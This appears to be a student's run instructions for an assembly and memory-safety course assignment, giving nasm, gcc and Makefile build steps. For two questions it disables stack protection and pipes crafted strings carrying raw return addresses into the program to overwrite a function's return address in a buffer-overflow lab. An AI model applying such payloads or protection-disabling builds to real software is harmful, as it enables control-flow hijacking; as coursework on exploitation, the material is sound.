You are on page 1of 2

Follow the following Commands to execute the Questions:

Question 1:
First of all move to the Question1 Folder in terminal...Now we can ru
n in two ways:
1. By Using the commands to compile and run:
a.Type
b.Type
c.Type
d.Type

command
command
command
command

for
for
for
for

assembling: nasm
linking: objdump
loading and run:
loading and run:

-felf64 Q1.nasm -o Q1.o


-M intel -D Q1.o
ld Q1.o -o Q1
./Q1

2. By Using the Makefile:


a. type make in the terminal
b. now a now will create with name final,so to run with ./final
Question 1 Bonus:
First of all move to the Question1B Folder in terminal...Now we can r
un in two ways:
1. By Using the commands to compile and run:
a.Type
b.Type
c.Type
d.Type

command
command
command
command

for
for
for
for

assembling: nasm
linking: objdump
loading and run:
loading and run:

-felf64 Q1B.nasm -o Q1B.o


-M intel -D Q1B.o
ld Q1B.o -o Q1B
./Q1B

2. By Using the Makefile:


a. type make in the terminal
b. now a now will create with name final,so to run with ./final
Question 2:
First of all move to the Question2 Folder in terminal...Now we can ru
n in two ways:
1. By Using the commands to compile and run:
a.Type command for assembling: gcc -fno-stack-protector -z execstack Q2.c -o Q2
b.Type command for linking: ./Q2
2. By Using the Makefile:
a. type make in the terminal
b. now a now will create with name final,so to run with ./final
Question 3:
First of all move to the Question3 Folder in terminal...Now we can ru
n in two ways:
1. By Using the commands to compile and run:
a.Type command in gdb : gcc -ggdb -mpreferred-stack-boundary=2 -o Q3.o Q3.c -fno
-stack-protector
b.Now load the program in gdb by command: gdb Q3.o
c.Find out the starting address of the target function by using command disas ta
rget,for me it is 0X:0804847d,so we will pass this in the string so that it will
replace the return address of function1 in main.
d.Type command in gdb : printf "hello\n123456789abc\xdd\x84\x04\x08" | ./Q3.o
Question 3 Bonus:
First of all move to the Question3 Folder in terminal...Now we can ru
n in two ways:
1. By Using the commands to compile and run:

a.Type command in gdb : gcc -ggdb -mpreferred-stack-boundary=2 -o Q3B.o Q3B.c -f


no-stack-protector
b.Now load the program in gdb by command: gdb Q3B.o
c.Find out the starting address of the target function by using command disas ta
rget,for me it is 0X:08048504,so we will pass this in the string so that it will
replace the return address of function1 in main.
d.Type command in gdb : printf "D4LxYGefjFBSh6sxeiPFIVzU07feeeFh30OBXxmXAaejIwEg
tNutFXbzLnvmGXTg9TZpAHhfL9kaFWboXQFRxu5Pfj3phUlQaYU25yz30Qeciun2GEyRcIlyQzgL7rwU
Cr5cDqBnX2ti0eFyORxH9La2EkIHAorZKn7BquT5C4oW8mQqjBxpQKx4pq1UakFn506v15N9za9YRpay
xOuuc6VaTPViBUKtrcfDbfr2qVUrvTRKpW3Xqlo4tfB27IMlPaJn\x04\x85\x04\x08" | ./Q3B.o

You might also like